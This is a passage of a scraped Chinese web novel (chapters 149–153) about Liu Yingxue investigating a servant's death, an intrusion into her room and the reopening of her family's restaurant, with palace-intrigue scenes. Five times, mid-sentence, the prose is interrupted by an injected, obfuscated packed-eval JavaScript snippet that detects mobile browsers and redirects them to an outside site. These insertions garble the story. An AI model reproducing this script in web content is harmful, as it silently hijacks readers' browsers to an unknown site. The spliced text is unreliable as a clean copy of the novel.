“这是守夜的小厮...”掌柜的声音都在发抖,“昨晚还好好的...” 柳映雪悄然从空间取出手套戴上,蹲下身仔细检查起尸体。死者衣着完整,没有明显的打斗痕迹,也看不出**的迹象。她抬起死者的手臂,尸僵已经开始,尸斑也不再褪色。 “应该是昨天寅时就挂了。”柳映雪暗自思忖,为何直到现在才被发现?这中间足足过了大半天。 她站起身,目光扫过房间的每个角落。地上有几处凌乱的脚印,墙角堆着的杂物也有被碰倒的痕迹。死者应该是在慌乱中退到这里的,但究竟是什么让他如此恐惧? “掌柜的,昨日可有人见过他?”她转身问道。 “小的昨日来过,还去他房里找过,没见着人。”另一个小厮插话道,脸色发白,“我们还以为他有事出去了,就让前面的伙计帮忙取了酒樽。” 柳映雪眯起眼睛。她大步走向死者的房间,推门而入。屋内陈设简单,一张木床,一个衣柜,还有几件日常用品。床铺一侧掀开,显然是睡梦中被什么惊动起身。房间内一切整齐,没有打斗痕迹。 她仔细检查着每个角落,在床底发现了一个小布包。打开一看,里面是些碎银和铜钱,还有一封未寄出的信。信纸已经泛黄,字迹潦草,像是匆忙中写就。 “你们还是赶紧去报官吧。”柳映雪收起手套,将布包重新放回原处。她转身吩咐连秀将酒樽带走,“这些证物,官府会需要的。” 离开时,她回头看了眼那间杂物房。阳光从门缝中投射进去,在地上划出一道细长的光线。这个小厮,究竟在死前看到了什么?又是谁在暗中操控这一切? 回到马车上,柳映雪取出一个酒樽仔细端详。樽身的纹路精致完美,但在某些细微之处,却透着不易察觉的异常。她轻轻敲了敲樽身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725155|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着回响若有所思。 “小姐,这酒樽...”连秀欲言又止。 柳映雪摇摇头,“先别说。”她的目光投向窗外,街上行人如织,谁也不知道这平静的表象下,暗流涌动。那个守夜小厮的死,恐怕只是个开始。 马车缓缓驶过街道,车轮碾过石板发出规律的声响。柳映雪靠在软垫上,手指无意识地摩挲着酒樽。这批货若是送到凤栖楼,后果不堪设想。而那个布局之人,显然早已将一切计算在内。 “去京城医馆。”她突然开口,声音清冷,“我倒要看看,这场戏究竟要如何收场。” 连秀驾车带着柳映雪往京城医馆疾驰。马车轮毂碾过青石板路,发出规律的咯噔声,惊起路边几只觅食的麻雀。 车厢内,柳映雪眉头紧锁,手指无意识地敲击着膝盖。窗外的景色飞速掠过,但她的思绪早已不在眼前。 这次的事情来得太过蹊跷。那个小厮究竟看到了什么,竟被活活吓死?幕后黑手做事滴水不漏,连一丝痕迹都未曾留下。 “小姐,您的手都凉了。”连秀递上一个汤婆子,担忧地看着自家小姐。 柳映雪接过汤婆子,温热透过掌心传来,却驱散不了心头的寒意。她轻轻摇头:“我没事,只是在想些事情。” 马车一路颠簸,柳映雪揉了揉太阳穴。对方显然不会就此罢手,但她不能一直被动挨打。必须想个法子,把他们的注意力从凤栖楼转移到自己身上。 若再有人在酒楼丧命,娘亲作为东家首当其冲。想到这里,她的指节不自觉地捏得发白。 突然,柳映雪眼前一亮。三日后的狩猎,或许是个不错的机会。 “小姐,您想到什么了吗?”连秀察觉到主子神色的变化。 “对方既然一直盯着我们,必然知道我会参加狩猎。”柳映雪眼中闪着寒芒,“只要把凤栖楼守得固若金汤,他们就会把目标对准我。毕竟,对付一个人,何必大费周章去伤及无辜?” 连秀面露担忧:“可是小姐,这太危险了。” 第一百四十九章 有人来过 “危险?”柳映雪冷笑一声,“对方如此谨慎行事,要么是实力不济,可能是人手不够。思索片刻,我更倾向于后者。” 当务之急是让凤栖楼重新开张,不能让酒楼的生意受损。想到这里,柳映雪掀开车帘望向远处的街市。来往的行人熙熙攘攘,街边小贩的吆喝声此起彼伏,一派祥和景象。 “到了。”连秀轻声提醒。 京城医馆门前,几个病人正在排队等候。柳映雪下车时,恰好看见一位老大夫送走病人,那慈祥的面容让她想起了自己的外祖父。 处理完药坊的事务,柳映雪带着连秀乘坐原来的马车返回清溪居。在外人眼中,这位柳大小姐不过是在药坊待了许久才离开。 马车刚停稳,青莲和梅枝就哭着跑了过来。两个丫鬟的眼睛都哭得红肿,显然已经哭了很久。 “这是怎么了?”柳映雪皱眉,语气中带着关切,“有人欺负你们?” 青莲抹着眼泪,抽噎着解释:“小姐您误会了,是我们担心您。您走得匆忙,又这么多天没消息,昨日又听说凤栖楼出事......” 梅枝接着说:“是啊小姐,我们害怕您出事。这几日茶饭不思,连觉都睡不好。” 看着两个丫鬟梨花带雨的模样,柳映雪心中一暖:“是我疏忽了,以后有事一定及时告诉你们。”她轻轻拍了拍两人的肩膀,前世独来独往惯了,倒忘了现在身边还有牵挂自己的人。 “小姐,您看后面。”连秀轻声提醒。 转身一看,朱叔朱婶带着一众下人,个个眼眶通红地跪在地上。庭院里的落叶被风卷起,在众人身边打着旋。 “奴才/奴婢见过小姐!”整齐的声音中带着哽咽。 看着这些忠心耿耿的下人,柳映雪心中涌起一股暖流。这些人或许没有显赫的身份,但他们的真心比金玉还要珍贵。 “都起来吧,是我考虑不周,让你们操心了。”柳映雪扶起年迈的朱婶,“以后我若要出门,一定提前告诉你们。” 为了缓解气氛,柳映雪笑道:“跟你们分享个好消息,娘亲已经和司马爹爹在云州成婚了。” “真的吗?”朱叔激动得老泪纵横,“太好了,小姐终于得偿所愿。老奴就盼着这一天啊!” 众人纷纷道喜,气氛一片欢腾。院子里的梨花随风飘落,为这喜庆的场面增添了几分诗意。 “好了,你们都去忙忙吧。”柳映雪温声道,“今晚让膳房多准备些好菜,大家好好休息。” 目送众人离开,柳映雪带着青莲、梅枝和连秀往自己房间走去。三个丫鬟很快熟络起来,叽叽喳喳说个不停。 庭院里的花香随风飘来,柳映雪微笑听着丫鬟们的谈话。然而,推开房门的瞬间,她的笑容凝固了。 她的目光在房间内缓缓扫过,原本平静的面容渐渐浮现出一丝凝重。房内的摆设看似整齐有序,但总有些说不出的违和感,就像一幅画被人动过手脚,虽然乍看完好,细看却处处露着破绽。 身后的三个丫鬟见小姐神色有异,立刻停下了交谈。连秀下意识地绷紧了身子,青莲和梅枝也紧张地跟着望向房内,生怕错过什么重要细节。 “你们先在门口等着。”柳映雪语气平淡,却带着不容置疑的威严。 三人应声退到门外,面面相觑。青莲忍不住小声问:“连秀姐姐,你说小姐是不是发现什么了?” 连秀微微蹙眉:“嘘,别说话,仔细观察。” 梅枝抿着嘴,不安地搓着手帕。 房内,柳映雪独自走到剑架前,目光在那把普通铁剑上停留。这是她让柳川从外面随意买来的,真正的玉剑——萧寒瑾送她的那把赤凰剑,早已被她收进了空间。 她伸手轻轻抚过剑柄,指尖传来一丝凉意。剑柄的方向与记忆中有了细微的偏差,虽然变化极其微小,但她每日都会亲自擦拭这把剑,对它的每一个细节都了如指掌。 房间里弥漫着一股若有若无的檀香,这是她常用的熏香。但今天这香气似乎淡了些,想必是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732384|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人开过窗户通风。 她又仔细打量了房间其他地方。 桌案上的笔墨纸砚排列整齐,但砚台的位置偏了半寸;书架上的书籍依旧按照大小排列,可《医经》与《本草》的位置互换了;妆台上的胭脂水粉一应俱全,然而铜镜的角度却与平日不同。 处处都有被人翻动过的痕迹。 那人显然经验丰富,懂得如何掩饰行踪。但再完美的伪装也会留下蛛丝马迹,尤其是面对一个对生活环境极其敏感的人。 柳映雪走到妆匣前,纤细的手指轻轻掀开锁扣。 里面的首饰一件未少,珠钗环佩、金簪玉镯都安然无恙地躺在原处。 “有意思。”她轻笑一声。 来人显然不是为了偷窃财物。否则这些价值不菲的首饰不会原封不动。 那么,目标就很明显了。 赤凰剑。 柳映雪眸光一冷,纤细的手指无意识地摩挲着衣袖。除了萧寒瑾,没人知道赤凰剑在她手中。而且她一直将剑藏在空间里,从未示人。 看来,有人起了疑心。 她走到窗前,望着院中的海棠树。枝头已经结出了花苞,再过些日子就能开花了。花开花落,本是寻常事,可在这个节骨眼上,却让她感受到了一丝不安。 “进来吧。”她转身对门外喊道。 三人快步走进房内,目光都带着几分紧张和好奇。 “小姐,是不是有什么不对劲?”连秀敏锐地问道,眼神不停地在房内扫视。 柳映雪挑眉看向她:“你第一次来我房间,怎么看出来的?” “属下看小姐先查看剑架,又仔细观察房内,最后还检查了妆匣。”连秀认真道,眼中闪烁着智慧的光芒,“应该是有人来过,但没有偷走任何东西。而且那人很谨慎,试图恢复原状。” “观察得不错。”柳映雪赞许地点头,“你平日养蛊,对细节确实敏感。” 连秀不好意思地低下头:“属下惶恐。” 第一百五十章 计划开业 青莲和梅枝听到有人潜入小姐闺房,顿时紧张起来。青莲忍不住往连秀身后躲了躲,小声问:“小姐,会不会是采花贼?” 柳映雪失笑:“若是采花贼,怎会翻动剑架?” “那...会不会是来偷绣品的?”青莲又猜测道,脸上写满了天真。 “本小姐连针线都不会拿。”柳映雪无奈地说,目光柔和地看着这个单纯的丫头。 “我倒是养了不少蛊虫,经常有人想偷。”连秀突然插话,语气中带着几分得意,“不过都被我的毒蛊教训过了。” 青莲和梅枝闻言,不由自主地往后退了一步,脸上露出惊恐的表情。 “好了。”柳映雪及时打断了这个令人不适的话题,“青莲,我有件事要问你。” “小姐请说。”青莲立刻收起惊慌,恭敬地答道。 “若让你去凤栖楼帮忙,你可愿意?后日就要开张了。”柳映雪直视着她的眼睛。 青莲犹豫了一下,手指不安地绞着衣角:“小姐,会不会太急了些?之前的**事件影响还在,客人未必敢来。而且...”她欲言又止。 柳映雪看着她这副样子,不由莞尔。这丫头,终于学会说真话了。从前总是一味地应承,现在却敢提出自己的看法。 “你说得对。”柳映雪温和地说,“不过我自有打算。现在我只想知道,你可愿意去酒楼帮忙?毕竟要抛头露面。” “奴婢愿意!”青莲坚定地说,眼中闪烁着坚毅的光芒,“女子经商有何不可?奴婢定当尽心竭力,不负小姐信任。” 柳映雪满意地点点头。这丫头,倒是个可造之材。 “梅枝。”她又转向另一个丫鬟,“你去把柳川叫来。” 梅枝应声而去。 柳映雪走到窗前,望着院中的海棠树。树下的石桌上还摆着之前喝剩的茶,茶盏中的茶叶已经沉淀。 她忽然想起什么,问道:“连秀,你的蛊虫可有异常?” 连秀一愣,随即明白了小姐的意思:“属下明白了。今晚就在房间周围布置些蛊虫,若有人再来,定能发现。” “不必太过惊人。”柳映雪提醒道,“只要能察觉就好。” “是。”连秀应道。她最擅长的就是用蛊了。 不多时,柳川匆匆赶来。 “小姐。”他站在门口,恭敬地行礼。 柳映雪转身看他:“去查查最近府上可有生面孔出现。” 柳川一怔:“小姐是说...” “有人来过我的房间。”柳映雪淡淡道,“很专业的手法。” 柳川脸色一变:“属下这就去查。不过...”他犹豫了一下,“最近府上确实来了不少外人。工匠、厨子、跑堂的,都是为凤栖楼开张准备的。” “那就都查查。”柳映雪说,“尤其是那些能自由出入后院的人。” “是。”柳川应声退下。 柳映雪看着他离去的背影,若有所思。来人究竟是冲着赤凰剑来的,还是另有目的?若是前者,又是如何得知剑在她手中的? 翌日清晨,青莲捧着账册,指尖微微颤动。阳光透过窗棂洒落,在她手中的账册上投下斑驳光影。 “这些数目......”她低声呢喃,目光在密密麻麻的数字间游移。自从跟着小姐了,她这个大丫鬟当得实在轻松。小姐不仅事事亲力亲为,连院子里的洒扫都有专门的丫鬟负责,让她这个贴身丫鬟反倒无事可做。 窗外传来一阵脚步声,青莲抬头望去,只见柳映雪正款步而来。她身着一袭淡青色长裙,裙摆随风轻扬,发髻间的珠钗在阳光下泛着柔和的光晕。 “青莲,可看完了?”柳映雪在案前坐下,纤细的手指轻轻摩挲着桌面。 “小姐,这些账目我都仔细核对过了。”青莲将账册递上前,“每一笔都清清楚楚。” 柳映雪将账册放下,指尖轻轻敲击桌面:“看来是时候做些改变了。” “小姐有何打算?”青莲眼中闪着期待。 “我已经想好了几个方案。”柳映雪从抽屉里取出一叠纸张,“你先看看这些。” 青莲接过纸张,越看越是惊讶。只见上面详细记录着各种促销方案:凡是在酒楼消费满五两银子的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732385|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客,都能获得精美赠品;消费满十两银子的,还能享受更多优惠。 最吸引人的是,每桌都会赠送一道独家小菜。这道菜的做法和口感都详细记录在案,明日就可以交给膳厨试做。 “小姐,这些想法太妙了!”青莲惊喜道,“尤其是这个抽签环节,若是抽中免单签,当日消费全免;若是抽中半价签,则可减免一半。这样一来,定能吸引不少客人。” 柳映雪微微颔首:“这个活动暂定三日。” “为何只有三日?”青莲不解地问,“若是效果好,何不一直持续下去?” “新鲜感是最重要的。”柳映雪站起身,走到窗前,望着街上来往的行人,“若是天天都这样,时间久了大家也就**以为常了。隔段时间搞一次活动,才能保持吸引力。” 青莲若有所思:“那要是别的酒楼也学着做怎么办?” “无妨。”柳映雪转身,嘴角挂着淡淡的笑意,“一来要看他们舍不舍得花这个银子,二来等这个活动过时了,我们还可以想别的新花样。” 这时,梅枝端着茶盘进来:“小姐,茶来了。” “放在这里吧。”柳映雪示意她放在案上,“对了,后院的新被褥可准备好了?” “已经准备妥当了。”梅枝应道,“小姐要现在换吗?” 柳映雪点点头:“去换吧。” 待梅枝退下后,青莲继续翻看着手中的方案:“小姐,这些菜品的价格......” “适当调整就好,”柳映雪抿了一口茶,“重要的是让客人觉得值当。” 正说着,外面传来一阵喧哗声。青莲起身走到窗边,只见街上一群人围在一起,似乎在议论什么。 “怎么回事?”柳映雪问道。 “好像是隔壁的聚福楼在搞什么活动。”青莲仔细望去,“他们在门口摆了个大鼓,说是击中鼓心就能免费用膳。” 柳映雪轻笑一声:“看来他们也坐不住了。” “小姐,要不要我们也......” “不必。”柳映雪摆摆手,“我们走自己的路就好。” 第一百五十一章 各方担忧 她拿起桌上的两份邀请帖,递给青莲:“这两份请帖,一份送去南安国公主,一份送去四贡院给玉太子。” 青莲接过请帖,却没有立即离开:“小姐,您说他们会来吗?” “来不来无所谓,”柳映雪淡然道,“重要的是我们该做的都做了。” 青莲刚要说什么,外面又传来一阵脚步声。梅枝匆匆跑进来:“小姐,王爷来了!” 柳映雪微微一怔,随即整理了一下衣裙:“快请进来。” 萧寒瑾踏入房间时,阳光正好从窗外斜射进来,在他俊朗的面容上投下一片光影。他身着一袭墨色长袍,腰间系着玉带,整个人透着一股清冷之气。 “本王听说你要重开酒楼?”他开门见山地问道。 柳映雪示意青莲和梅枝退下,这才答道:“是有这个打算。” “需要本王帮忙吗?”萧寒瑾在案前坐下,随手拿起桌上的方案翻看。 “不必了,”柳映雪为他斟了杯茶,“我自己能处理好。” 萧寒瑾放下方案,目光灼灼地看着她:“你就这么有把握?” “没有把握也要试试。”柳映雪坦然道,“总不能就这样认输。” 萧寒瑾沉默片刻,突然道:“今晚来王府用膳吧。” 柳映雪一愣:“怎么突然......” “本王让厨子准备了几道新菜,”萧寒瑾站起身,“你来尝尝,说不定对酒楼重开有帮助。” 看着他离去的背影,柳映雪若有所思。这时,青莲从外面进来:“小姐,要准备去王府吗?” “先把手头的事情处理完。”柳映雪回过神来,“对了,让孙掌柜来一趟,我有些事情要和他商量。” 四贡院内。 玉太子百无聊赖地躺在软榻上,手中把玩着一枚玉佩:“玉七,今日可有什么有趣的事?” “回太子爷,”玉七恭敬道,“城中各家酒楼似乎都在搞什么活动,热闹得很。” “哦?”玉太子来了兴致,“说来听听。” 东玉琳匆匆穿过长廊,裙摆在风中翻飞。她一路小跑着来到玉太子的院落,额头已渗出细密的汗珠。守在门外的侍卫见是她,连忙躬身行礼。 “太子殿下在里面吗?”她微微喘着气问道。 “回公主的话,太子爷正在休息。” 东玉琳也顾不得什么礼数,直接推开门闯了进去。屋内檀香袅袅,玉太子正慵懒地靠在软榻上,手里捧着一本兵书。听到动静,他抬眼瞥了一眼闯入的人,眉头微蹙。 “姐姐的餐馆出问题了!”东玉琳急切地说道,眼中满是担忧,“我们明天去看看她吧。” 玉太子放下手中的书卷,目光在她脸上停留片刻。少女因为急切而微微泛红的脸颊,让他心头微动。但很快,他又恢复了那副高傲的神情。 “本太子为何要陪你去?”他故作冷淡地说,“没有你这个聒噪的丫头在旁边,这些日子倒是清净得很。” 站在一旁的玉七听到这话,不由得在心中暗自腹诽。他想起前几日陪太子爷逛街时的情形:太子爷坐在路边小摊前,眼巴巴地望着来往的行人,一口气吃了三碗馄饨。之后又硬是在茶摊上坐了整整一个下午,那茶摊老板都用异样的眼光看着他们了。 东玉琳听到这话,气得腮帮子鼓鼓的,像只受了委屈的小兔子。“哼,不去就算了,本公主亲自去!” 她转身就要走,心里却暗自懊恼。若不是找马车太麻烦,她才不会来求这个讨厌的家伙。想到自己那个不闻不问的使臣,她更是气不打一处来。 “等等!”玉太子连忙叫住她,语气中带着几分慌乱,但很快又恢复了从容,“陪你去也不是不可以,不过你得答应本太子一个条件。” 东玉琳停下脚步,转过身来,眼中带着几分狐疑:“你怎么这么多事?” “不愿意就算了。”玉太子故作无所谓地说着,眼角余光却在偷偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739252|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察她的反应。他的手指无意识地摩挲着书页,显示出内心的不平静。 屋内一时陷入沉默。阳光透过窗棂洒进来,在地上投下斑驳的光影。东玉琳站在光影中,裙摆微微摆动,投下的影子也跟着轻轻晃动。 “说吧,什么条件?”最终,东玉琳还是妥协了。她知道,若是没有玉太子陪同,她一个人去凤栖楼恐怕会遇到不少麻烦。 玉太子嘴角微微上扬:“从明天开始,你要继续做我的丫鬟。还有狩猎那天,也得跟着我。” “为什么狩猎那天也要跟着你?”东玉琳不解地问道。她走近几步,仔细打量着玉太子的表情。 玉太子的耳尖微微泛红,但依旧强装镇定:“你是本太子的丫鬟,自然要寸步不离。万一有人不长眼伤到你怎么办?你又不会武功,本太子这是为你着想。” 东玉琳总觉得这话哪里怪怪的,但想了想似乎也有道理,便点头答应了。她的目光落在案几上的点心盘子里,不由得咽了咽口水。 玉七适时端着新沏的茶水进来,看着自家主子的样子,心中暗叹:太子爷这是完全变了个人啊。往日里那个冷若冰霜的太子,如今竟会用这种近乎讨好的语气说话。 “那就这么定了,明天我们一起去凤栖楼。”东玉琳说完,顺手拿起一块点心塞进嘴里,然后一溜烟跑了出去。 玉太子看着她离去的背影,又好气又好笑:“这丫头,胆子是越来越大了。”语气中却带着几分宠溺。 “太子爷,用茶。”玉七将茶盏放在案几上。 玉太子没好气地踢了玉七一脚:“喝什么喝,本太子要用膳!” 玉七欲言又止,明明方才他就提议过用膳的。犹豫了一下,他试探着问:“要不要属下去请南公主来陪太子爷用膳?” 玉太子冷冷地瞥了他一眼,摆了摆手:“不必了。” 玉七退出房间,心中暗自摇头。这些日子,太子爷的心思是越来越难猜了。 第一百五十二章 宫中争宠 夜色渐浓,明德殿内灯火通明。皇上坐在案前,眉头紧锁,手中的奏折翻了许久也未曾翻过一页。案上的茶水早已凉透,却无人敢上前更换。 司公公站在一旁,目光小心地打量着皇上的神色。他在宫中伺候多年,深谙此时的沉默意味着风雨欲来。 “皇上...”司公公试探着开口。 “嗯?”皇上抬眸。 “已到用膳时辰,御膳房备好了您最爱的醉蟹。” 皇上放下手中的奏折,揉了揉眉心。他望向窗外渐暗的天色,似是这才意识到时间已晚。 “去静华宫。”皇上起身,语气淡淡。 司公公刚要应声,却见皇上脚步一顿。 “算了,去云锦宫。” 这一改口让司公公心中一动。他垂首应是,目光闪烁。这位新晋的陈美府,当真是得宠。短短月余,已三次让皇上改变去向。 静华宫内,灯火辉煌。 白贵妃正对着铜镜梳妆,听闻皇上要来,特意换上了那件月白色宫装。这是皇上曾经称赞过的颜色,衬得她肤若凝脂。 “娘娘今日这身打扮,定能让皇上多留几日。”贴身宫女晓秦一边为她簪上珠钗,一边笑着说道。 白贵妃轻轻一笑,眼中满是期待。她抬手轻抚着镜中的倒影,“本宫已有三日未见皇上了。” 话音刚落,外头传来急促的脚步声。 “娘娘!”小太监跪地叩首,声音发颤,“皇上...皇上去了云锦宫。” “啪!” 铜镜应声落地,碎片四溅。 白贵妃猛地起身,面色阴沉如水。她纤细的手指紧紧攥着手帕,指节泛白。 “那个不知廉耻的贱婢,竟敢...”她咬牙切齿。 “娘娘息怒。”晓秦连忙上前劝慰,“您可是有四皇子的贵妃,那陈美府不过是个新鲜玩意儿罢了。皇上对您的心意,岂是她能比的?” 白贵妃冷笑一声,缓缓坐回梳妆台前。她望着铜镜碎片中支离破碎的倒影,声音冰冷,“本宫岂会与她一般见识?不过是个宫女出身的**胚子,早晚有她好看。” 云锦宫内,一缕若有若无的香气飘散。 陈美府正亲自在小炉前煮汤,她特意让宫女去告诉皇上,说自己为了给皇上煮汤,手都烫伤了。 听到皇上驾到的消息,她唇边勾起一抹得意的笑。对着铜镜,她轻轻抚了抚鬓角,又拿起脂粉补了补妆。 “美人这是在做什么?”温和的声音从身后传来。 陈美府转身,眼中瞬间盈满泪水,“皇上...”她抬起手,露出一小片红肿,“妾身想着皇上喜欢喝养生汤,特意...” 皇上大步上前,心疼地握住她的手,“何必自己动手?让宫女来就是了。” “妾身想亲自为皇上做些什么。”陈美府低垂着头,声音轻柔,“只是手艺不精,让皇上见笑了。” “朕不许你这样说。”皇上将她搂入怀中,“你的心意,朕都知道。” 宫墙之外,王府小院。 柳映雪正在房中看书,突然听见窗外传来轻轻的敲击声。她嘴角微扬,起身打开窗户。 萧寒瑾站在窗外,手中提着食盒,月光为他清俊的面容镀上一层柔和的光晕。 “还未用膳吧?”他眼中满是温柔。 “你怎么知道?”柳映雪笑问。 “我知道你一看书就忘了时间。”萧寒瑾轻轻跃入房中,将食盒放在桌上,“都是你爱吃的。” 柳映雪看着他一样样将菜品摆放整齐,动作轻柔得仿佛在对待珍玉。 “下次我去王府用膳就是,何必这样麻烦?” “不麻烦。”萧寒瑾抬头,目光温柔,“我喜欢看你在这里吃饭的样子。” 柳映雪心中一暖,正要说话,却见萧寒瑾突然皱眉。 “怎么了?” “你的手.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739253|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .”萧寒瑾握住她的手腕,“又练剑了?” 柳映雪低头看了看手心的茧子,笑道:“不过是些小伤。” “不许逞强。”萧寒瑾从怀中取出一个小瓷瓶,“这是我特意让人配的药膏,每日涂抹,可以消除伤痕。” 柳映雪看着他认真的样子,心中泛起一丝异样的情绪。她轻声道:“你对我真好。” “因为是你。”萧寒瑾抬眸,眼中是藏不住的深情。 夜色渐深,宫中灯火依旧。 白贵妃站在窗前,望着云锦宫方向的灯火,她轻声道:“晓秦,去查查那陈美府的底细。本宫倒要看看,她能得意到几时。” 晓秦应声退下,留下白贵妃一人立在窗前,身影显得格外孤寂。 云锦宫中,陈美府依偎在皇上怀中,自己离目标又近了一步。 夜色渐深,暮色笼罩着整个王府。萧寒瑾将两个食盒中的饭菜一一摆放在桌上,动作轻柔而优雅。 饭菜的香气在房间中缓缓弥漫,一道道精致的菜肴在烛光下泛着诱人的光泽。柳映雪刚刚净手归来,目光不由自主地被那碗热气腾腾的鸡汤吸引。汤色浓郁,香气四溢,几片青翠的葱花点缀其上,更添几分食欲。 “这是御厨特意为你准备的。”萧寒瑾将汤碗往她面前推了推,眼中带着几分宠溺。 柳映雪迫不及待地端起小勺,轻轻啜了一口。熟悉的味道在舌尖绽放,浓郁的鲜香让她不由自主地眯起了眼睛。这些日子在外,最想念的就是王府的鸡汤了。汤汁醇厚,鸡肉鲜嫩,每一口都让人回味无穷。 “好喝吗?”萧寒瑾托腮看着她贪吃的模样,眸中带笑。烛光映照在他俊美的面容上,为他增添了几分柔和。 “嗯!”柳映雪用力点头,又喝了一大口,“御厨的手艺还是这么好。” 萧寒瑾见她吃得开心,手上不停地给她夹菜。一筷子酱烧鲤鱼,一筷子清炒时蔬,每一样都是她爱吃的。 第一百五十三章 开业准备 “慢些吃,没人跟你抢。”萧寒瑾轻声提醒道,目光中满是宠溺。 柳映雪这才放慢了速度,一边吃着,一边将今天的事情娓娓道来:“对了,今日我去了一趟酒楼,和孙掌柜商量了开业的事。” 她说起后日酒楼开张的计划时,眼中闪烁着兴奋的光芒:“我打算重新装修一番,让食客们看到我们的诚意。新添了些桌椅,换了新的餐具,还请了几个手艺不错的厨子。” 萧寒瑾静静听着,时不时给她添些菜,直到她说完才开口:“计划不错,不过开业之初,恐怕会有不少人持观望态度。毕竟之前的事情影响不小。” “我已经想好了,”柳映雪眨眨眼,露出一个狡黠的笑容,“准备邀请玉太子和东玉琳公主来捧场。有他们在,想必能吸引不少人来。” “那我呢?”萧寒瑾挑眉,语气中带着几分醋意,“怎么不邀请我这个未来夫君?” 柳映雪被他这副吃醋的模样逗笑了:“我这不是怕给你添麻烦嘛。你现在的身份特殊,若是被人看到......” “雪儿,”萧寒瑾握住她的手,眼神认真,“若是连去酒楼用膳都会惹来麻烦,我也不配做你未来的夫君。更何况,我想亲眼看着你实现梦想。” 柳映雪俏脸一红,心中却涌起一丝心疼。 “对了,”萧寒瑾神色一正,“狩猎那天你得特别留意,西幽国的青珑最近动作频繁。我听说她派了不少人混入京城。” “哼,”柳映雪冷笑一声,“她若敢来找麻烦,我定让她后悔。”说着,手不自觉地摸向腰间的赤凰剑。 萧寒瑾又说起有人潜入她房间找寻赤凰剑的事“我已经加派人手保护你,但你还是要小心为上。” 用过晚膳,萧寒瑾带着食盒离开。月光洒在他挺拔的背影上,在地上拉出一道修长的影子。 清逸客栈内。 仇巧儿手中握着一把锋利的**,眼中满是挣扎。她今日亲眼看到了府衙门口的告示,那上面清清楚楚地写着要严查西幽国的细作。她低头看着手腕上的烫伤疤痕,那是西幽国奴隶的标记。 “不能让他们发现......”她咬着牙,将**对准手腕上的疤痕。刀锋划过皮肤,鲜血顺着手腕滴落。她强忍着疼痛,又在身上蹭了些泥土,我跌跌撞撞地朝师姐的房间走去。 翌日清晨,阳光明媚。 柳映雪带着青莲梅枝和连秀来到凤栖楼,小二们已经忙得不可开交了。有的在擦拭桌椅,有的在清扫地面,整个酒楼一片热闹景象。 “二掌家。”孙掌柜快步迎上前,脸上带着笑意,“厨房那边已经准备就绪,新来的几个厨子也都熟悉了环境。” “具体事宜我都交代给青莲了,你们商量着办,有不懂的再来问我。”柳映雪环视四周,对酒楼的布置很是满意。 街上行人看到凤栖楼开门,纷纷驻足观望。得知明日就要开张,众人议论纷纷。 “这不是那家出事的酒楼吗?” “听说新东家是个年轻姑娘。” “年轻人能行吗?这么大的酒楼......” 有人冷嘲热讽,有人在幸灾乐祸,更多的人只是想看看这家曾经出事的酒楼,究竟能否重新开张。议论声此起彼伏,传入柳映雪耳中。 青莲走到她身边,轻声道:“小姐,厨房那边还有些事需要您过目。” 柳映雪点点头,转身走向后院。 凤栖楼前人头攒动,围观的百姓越聚越多。街道两旁的小贩见状纷纷支起摊位,叫卖声此起彼伏,整条街热闹非凡。 